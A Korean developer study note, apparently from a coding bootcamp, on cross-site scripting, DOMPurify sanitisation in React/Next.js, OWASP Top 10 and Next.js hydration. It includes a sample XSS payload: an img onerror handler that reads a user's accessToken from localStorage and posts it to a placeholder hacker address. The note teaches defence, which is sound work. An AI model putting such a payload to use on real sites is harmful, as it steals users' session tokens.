27일차-2) [React/JS] 크로스사이트스크립트(XSS) / OWASP TOP10 / hydration issue

크로스 사이트 스크립트(XSS)

다른 사이트의 취약점을 노려 Javascript와 HTML로 악의적 코드를 웹 브라우저에 심고 사용자 접속 시 그 악성 코드가 실행되도록 하는 것을 크로스 사이트 스크립트(XSS)라고 한다.

예시

<img src="#" onerror="
	const aaa = localStorage.getItem('accessToken');
	axios.post(해커API주소, {accessToken = aaa});
" />

onerror는 img태그를 정상적으로 불러오지 못했을 때 실행되는 요소
이를 이용하여 사용자의 accessToken을 훔쳐서 해커API주소로 보낼 수 있음

dompurify

공격 코드를 자동으로 막아주는 라이브러리
yarn add dompurify
yarn add -D @typs/dompurify

사용방법

{process.browser &&
	<div
		dangerouslySetInnerHTML={{
			__html: Dompurify.sanitize(String(data?.fetchBoard.contents))
		}}
	/>
}

주의사항: dompurify도 서버사이드 렌더링 에러가 발생하기 때문에 조건부 렌더링을 걸자.

OWASP TOP10

Open Web Application Security Project.
오픈소스 웹 애플리케이션 보안 프로젝트
주로, 웹 관련 정보노출이나 악성파일 및 스크립트, 보안 취약점을 연구하여 10대 취약점 발표
3~4년 정기적으로 업데이트

출처: https://owasp.org/Top10/

매년OWASP 상위권을 유지하는 것 중 하나가 Injection
SQL쿼리문을 작성할때 조건을 통해 데이터를 주고 받는데, 이 조건을 직접 조작하여 공격하는 기법

Hydration Issue

next.js 단계
1. html
2. css, js
3. render
4. hydration(프리렌더링 결과와 브라우저에서 결과와 비교)

---

react 단계
1. html
2. css, js
3. render

diffing 단계에서 태그를 기준으로 비교하기 때문에,
프론트엔드 서버에서 pre-rendering된 결과물과 브라우저에서 그려진 결과물의
태그 구조가 다를 경우 CSS가 코드와 다르게 적용

그렇기 때문에 브라우저에서만 렌더링되는 태그가 있을 경우, 삼항연산자를 이용해서
프론트엔드 서버에서도 빈 태그가 들어가 있도록 만들어줘야 한다.

예시

return (
    {process.browser ? (
	  <div style={{color: "green"}}>제목: {data?.fetchBoard.title}</div>

1. next 느린거아냐?(hydration도 해주니까)
2. react는 주소가 왜 없는걸까?

react가 주소가 없는것의 장점
페이지 이동 시, 서버에 재요청 하지 않음(이미 모든 페이지를 처음 요청했을 때 다 받아왔기 때문에 이동만 시키면됨)
= 페이지이동이 엄청 빠름(CSR)/ SPA(SINGLE PAGE APPLICATION) - 전체가 한페이지

단점: 최초 접속이 너무 느리다

next.js는 위의 단점을 보완함
배포하는 과정에는 모든 페이지를 미리 프리렌더링을 다 시켜 놓고, 이미 파일을 다 만들어놓는다.
처음 접속을 빠르게 해보자 = 프리렌더링
이미 파일이 만들어져있기 때문에 빠름.